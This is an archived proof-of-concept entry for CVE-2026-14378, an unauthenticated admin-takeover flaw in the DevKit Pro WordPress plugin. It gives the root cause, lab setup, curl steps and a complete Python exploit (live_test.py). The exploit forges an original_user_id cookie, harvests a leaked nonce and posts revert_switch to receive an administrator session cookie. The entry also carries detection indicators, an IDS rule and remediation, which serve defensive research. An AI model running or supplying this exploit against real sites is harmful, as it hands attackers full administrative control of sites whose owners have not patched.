PoC Archive PoC Archive
CVE-2026-14378 / CWE-287 category: web CVSS 9.8 (CRITICAL)
Patched

WordPress DevKit Pro Unauthenticated Authentication Bypass (CVE-2026-14378)

Published: 2026-11-27 • Researcher: anoxhunterdump-ctrl (GitHub, PoC repository); CVE record published through Wordfence Threat Intel; archived and reviewed 2026-11-27

Target software DevKit Pro plugin for WordPress (dplugins), a site-development helper with a developer user-switching feature
Affected versions All versions up to and including 2.3.0; fixed in 2.3.1
Status Weaponized — upstream documents a live-verified two-request unauthenticated admin session takeover; the archived script performs the same nonce-leak and cookie-granting POST, but was not executed during this review
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-14378 / CWE-287 (Improper Authentication)
Category
web
Affected product
DevKit Pro plugin for WordPress (dplugins), a site-development helper with a developer user-switching feature
Affected versions
All versions up to and including 2.3.0; fixed in 2.3.1
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-10-02 (upstream commit bff4bb1, “Add –exploit mode: full chain detect->nonce->bypass->rogue admin (tested live)”; repository last pushed 2026-10-02T05:13:40Z)
Author / Researcheranoxhunterdump-ctrl (GitHub, PoC repository); CVE record published through Wordfence Threat Intel; archived and reviewed 2026-11-27
CVE / AdvisoryCVE-2026-14378 / CWE-287 (Improper Authentication)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, NVD per the batch record)
StatusWeaponized — upstream documents a live-verified two-request unauthenticated admin session takeover; the archived script performs the same nonce-leak and cookie-granting POST, but was not executed during this review
Tagswordpress, plugin, devkit-pro, authentication-bypass, cwe-287, nonce-leak, cookie, account-takeover, unauthenticated, php
RelatedN/A

Affected Target

FieldValue
Software / SystemDevKit Pro plugin for WordPress (dplugins), a site-development helper with a developer user-switching feature
Versions AffectedAll versions up to and including 2.3.0; fixed in 2.3.1
Language / PlatformPHP WordPress plugin; the archived exploit is Python 3 against the HTTP interface
Authentication RequiredNo
Network Access RequiredYes — HTTP/HTTPS access to the WordPress front end

Summary

DevKit Pro, a WordPress plugin that provides a developer user-switching feature, renders a hidden switch-back form to any visitor who presents an original-user cookie, including unauthenticated visitors. The handler that processes the form verifies the capability of the user named in that cookie rather than the capability of the caller, so a cookie pointing at an administrator passes the check. An unauthenticated attacker can therefore harvest a valid nonce from any front-end page and exchange it for a WordPress administrator session cookie. The result is full site takeover without knowing any password.

Vulnerability Details

Root Cause

DevKit Pro stores the administrator’s user ID in a cookie named original_user_id whenever an admin switches into another account. Two independent mistakes turn that into an authentication bypass.

  1. render_switch_back_bar() is hooked to wp_footer(). It only tests isset( $_COOKIE['original_user_id'] ) and then mints a nonce with wp_create_nonce( 'devkit_revert_switch_' . $user_id ). It never calls is_user_logged_in() or current_user_can(), so an unauthenticated visitor who sets the cookie receives a valid, server-generated nonce and the hidden form that posts to admin-post.php?action=revert_switch.
  2. handle_revert_switch() calls verify_nonce_and_capability( $user_id, $nonce ). That helper first verifies the nonce and then returns user_can( $user_id, 'manage_options' ). user_can() asks whether the user named in the cookie is an administrator, not whether the requester is one. The correct check is current_user_can( 'manage_options' ). Because user ID 1 on a default WordPress install is an administrator, the check returns true for an anonymous request.

After the check passes, the handler calls wp_set_current_user( $user_id ) and wp_set_auth_cookie( $user_id ), so the response carries a genuine authenticated WordPress session for the chosen account. The patch in 2.3.1 adds both a is_user_logged_in() && current_user_can( 'manage_options' ) gate to the footer renderer and a requester-side capability check to the handler.

Attack Vector

An unauthenticated attacker sends a GET request to any front-end entry point (/wp-login.php or /) with Cookie: original_user_id=1, parses the _wpnonce value out of the leaked switch-back form, and then POSTs action=revert_switch, the nonce and target_user_id=1 to /wp-admin/admin-post.php. The cookie must be present on both requests because the handler reads it again. No credentials, no session and no victim interaction are required.

Impact

The attacker receives a valid wordpress_logged_in_* cookie for the administrator account and can access /wp-admin/. From there the usual post-exploitation paths apply: creating additional administrator accounts, installing a malicious plugin or editing a theme for PHP code execution, exporting the user table, reading private content, and modifying the site. Because the session is a normal WordPress login, it survives a plugin upgrade and is only invalidated by a password change or session invalidation.

Environment / Lab Setup

Output
OS:          Linux with Podman (or Docker), any host able to run WordPress
Target:      WordPress (recent) with DevKit Pro 2.3.0 installed and active
Attacker:    Python 3 with requests and beautifulsoup4
Tools:       curl, Burp Suite (optional), the archived live_test.py

Setup Steps

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
podman run -d --name wp-db \
  -e MYSQL_ROOT_PASSWORD=rootpass -e MYSQL_DATABASE=wordpress \
  -e MYSQL_USER=wpuser -e MYSQL_PASSWORD=wppass mariadb:10.6

podman run -d --name wp-app -p 8080:80 --link wp-db:mysql \
  -e WORDPRESS_DB_HOST=mysql -e WORDPRESS_DB_NAME=wordpress \
  -e WORDPRESS_DB_USER=wpuser -e WORDPRESS_DB_PASSWORD=wppass wordpress:latest

python3 -m venv venv && . venv/bin/activate
pip install -r requirements.txt

The archived live_test.py hardcodes TARGET = "http://localhost:8080"; change that constant for another lab address. The upstream repository’s targets.txt is a scanner input list and is not needed here.

Proof of Concept

Step-by-Step Reproduction

  1. Confirm the plugin version. Fetch the plugin readme and check the stable tag; 2.3.0 is vulnerable.

    Shell script
    1
    
    curl -s http://localhost:8080/wp-content/plugins/devkit-pro/readme.txt | grep -i 'stable tag'
  2. Trigger the nonce leak. Request a front-end page with the administrator’s ID in the cookie. The response contains the hidden switch-back form and a fresh nonce.

    Shell script
    1
    2
    
    curl -s -H 'Cookie: original_user_id=1' http://localhost:8080/wp-login.php \
      | grep -A2 'name="_wpnonce"'
  3. Submit the revert-switch request. The archived live_test.py performs steps 1 to 3 and prints the leaked nonce, the POST result and any auth cookie.

    Shell script
    1
    
    python3 live_test.py
  4. Verify administrative access. The script requests /wp-admin/index.php with the session that now carries the administrator cookie and reports whether the dashboard is reachable without a login.

Exploit Code

See live_test.py in this folder for the full two-request chain. It stops at proving dashboard access and intentionally does not create an account.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
session = requests.Session()
session.cookies.set("original_user_id", "1")          # must be sent on GET and POST

r1    = session.get(f"{TARGET}/wp-login.php")
nonce = BeautifulSoup(r1.text, "html.parser").find("input", {"name": "_wpnonce"})["value"]

r2 = session.post(
    f"{TARGET}/wp-admin/admin-post.php",
    data={"action": "revert_switch", "_wpnonce": nonce, "target_user_id": "1"},
    allow_redirects=False,
)

Expected Output

Upstream captured the following against a local lab; the output below is quoted from the upstream README and was not re-produced during this review.

Output
1
2
3
4
5
6
7
8
HTTP 200
[+] Switch-back form found in response!
[+] Fresh leaked _wpnonce = 756081f907
HTTP 302
Location: http://localhost:8080/wp-admin/
[+] Redirect to wp-admin -- auth cookie granted!
HTTP 200
[+] CONFIRMED: Admin dashboard accessible with no credentials!

On a patched 2.3.1 install the switch-back form is absent (the footer renderer checks the requester’s session) and the POST handler rejects the request instead of returning a redirect and an auth cookie.

Detection & Indicators of Compromise

Output
GET requests carrying "Cookie: original_user_id=" from clients with no prior
authenticated session, especially to /wp-login.php or /
POST /wp-admin/admin-post.php with a body containing action=revert_switch,
_wpnonce= and target_user_id=
A single client IP that requests a front-end page and then admin-post.php within seconds
New administrator accounts, plugin installs or theme-file edits immediately after such a POST

Unexpected entries in wp_users / wp_usermeta with administrator capabilities
Plugin or theme files with modification times matching the request window

SIEM / IDS Rule (example, from the upstream README):

Output
alert http any any -> $HTTP_SERVERS $HTTP_PORTS (msg:"CVE-2026-14378 DevKit Pro Auth Bypass - Revert Switch Exploit"; flow:to_server,established; http_client_body; content:"action=revert_switch"; content:"_wpnonce="; classtype:web-application-attack; sid:1000954; rev:1;)

Blocking unauthenticated POSTs to /wp-admin/admin-post.php with action=revert_switch at the WAF is a useful interim control, but it does not remove the underlying flaw.

Remediation

ActionDetail
PatchUpgrade DevKit Pro to 2.3.1 or later; that release gates render_switch_back_bar() on the requester’s session and changes the handler to current_user_can( 'manage_options' ).
WorkaroundUntil patched, block POSTs to admin-post.php with action=revert_switch at the WAF/reverse proxy and remove or deactivate the plugin if the user-switching feature is not required.
Config HardeningAudit administrator accounts for unexpected users, force a password reset and invalidate all sessions after any suspected exploitation, remove unused plugins, and restrict plugin installation to trusted administrators.

References

Notes

Review verdict: ingested as Weaponized. The repository is not README-only and not merely a version checker: it contains a complete two-request authentication bypass that leaks the nonce, posts revert_switch and receives an administrator session cookie, plus an optional --exploit scanner mode that the upstream author says was tested live. The archived file is the minimal non-destructive proof (live_test.py), which stops at confirming /wp-admin/ access.

Omissions and provenance: the upstream repository is a mixed scanner/exploit project. prove_takeover.py and core/probe.py were not copied because their extra stage creates a rogue administrator account, which is a persistence action beyond the vulnerability demonstration; scan.py, core/engine.py, core/target.py, utils/banner.py and the Nuclei template were omitted as scanner/reporting code, and publish_to_github.py was omitted because it is a repository-publishing helper that accepts a GitHub token. The upstream README is copied verbatim as upstream-README.md. LICENSE (MIT, copyright 2026 Security Research) is included. The upstream README’s captured output is a self-reported live test; the exploit was not executed during this review.

Limitations: the bypass assumes the target administrator’s user ID (default 1) and that the vulnerable footer hook is active on the requested page. The archive does not include the upstream --exploit automation or the rogue-admin step, so an operator who wants the full chain must rebuild it from the upstream README. Version detection alone is not proof of exploitability, since the nonce leak must be observed. The affected range and the 2.3.1 fix version are taken from the CVE record and the upstream README rather than re-derived here.

Malware assessment: no C2, evasion, keylogger, miner, stealer or bot code is present in the archived files. The only credential use is the original_user_id cookie and the WordPress session cookie it produces; no third-party credentials are bundled.

live_test.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# Archived for authorized security research and defensive testing only.
# Source: https://github.com/anoxhunterdump-ctrl/CVE-2026-14378-DevKit-Pro-Auth-Bypass
# (see README for attribution and license). Only this header was added; the
# exploit logic below is copied from the upstream repository.
# Do not run against systems you do not own or have written permission to test.

import sys, requests
from bs4 import BeautifulSoup
sys.stdout.reconfigure(encoding='utf-8')

TARGET = "http://localhost:8080"
session = requests.Session()

print("=" * 60)
print("STEP 1: Confirm plugin version")
print("=" * 60)
r0 = requests.get(f"{TARGET}/wp-content/plugins/devkit-pro/readme.txt", timeout=10)
print(f"HTTP {r0.status_code}")
for line in r0.text.splitlines():
    if line.strip():
        print(f"  {line}")

print()
print("=" * 60)
print("STEP 2: Trigger nonce leak (Cookie: original_user_id=1)")
print("=" * 60)
# Set cookie at session level so it's sent on all subsequent requests
session.cookies.set("original_user_id", "1")
r1 = session.get(f"{TARGET}/wp-login.php", timeout=10)
print(f"HTTP {r1.status_code}")

soup  = BeautifulSoup(r1.text, "html.parser")
form  = soup.find("div", {"id": "devkit-pro-switch-back"})
nonce_input = soup.find("input", {"name": "_wpnonce"})

if form and nonce_input:
    nonce = nonce_input["value"]
    print(f"[+] Switch-back form found in response!")
    print(f"[+] Fresh leaked _wpnonce = {nonce}")
    print()
    print("--- Leaked form HTML ---")
    print(str(form))
else:
    print("[-] Form not found - plugin may be inactive")
    sys.exit(1)

print()
print("=" * 60)
print("STEP 3: POST revert_switch (with original_user_id cookie)")
print("=" * 60)
# Cookie must also be on the POST — plugin reads $_COOKIE['original_user_id'] in handler
r2 = session.post(
    f"{TARGET}/wp-admin/admin-post.php",
    data={"action": "revert_switch", "_wpnonce": nonce, "target_user_id": "1"},
    allow_redirects=False,
    timeout=10
)
print(f"HTTP {r2.status_code}")
print(f"Location: {r2.headers.get('Location', 'none')}")
print("Cookies in session after POST:")
for name, val in session.cookies.items():
    print(f"  {name} = {val[:80]}...")

if r2.status_code in (301, 302):
    loc = r2.headers.get("Location", "")
    if "wp-admin" in loc:
        print("[+] Redirect to wp-admin -- auth cookie granted!")
    else:
        print(f"[?] Redirect to: {loc}")
elif r2.status_code == 400:
    print("[-] 400 - Invalid request (nonce mismatch or cookie missing)")
    print(r2.text[:300])
elif r2.status_code == 403:
    print("[-] 403 - Unauthorized (nonce verify failed or patched)")
    print(r2.text[:300])

print()
print("=" * 60)
print("STEP 4: Access wp-admin with stolen session")
print("=" * 60)
r3 = session.get(f"{TARGET}/wp-admin/index.php", timeout=10, allow_redirects=False)
print(f"HTTP {r3.status_code}")
print(f"Location: {r3.headers.get('Location', 'none')}")

if r3.status_code == 200:
    print("[+] CONFIRMED: Admin dashboard accessible with no credentials!")
elif r3.status_code in (301, 302):
    loc = r3.headers.get("Location", "")
    if "wp-login" in loc:
        print("[-] Redirected to login - bypass failed")
    elif "wp-admin" in loc:
        print("[+] Redirect within wp-admin - following...")
        r4 = session.get(loc, timeout=10, allow_redirects=False)
        print(f"  -> HTTP {r4.status_code} | {r4.headers.get('Location','none')}")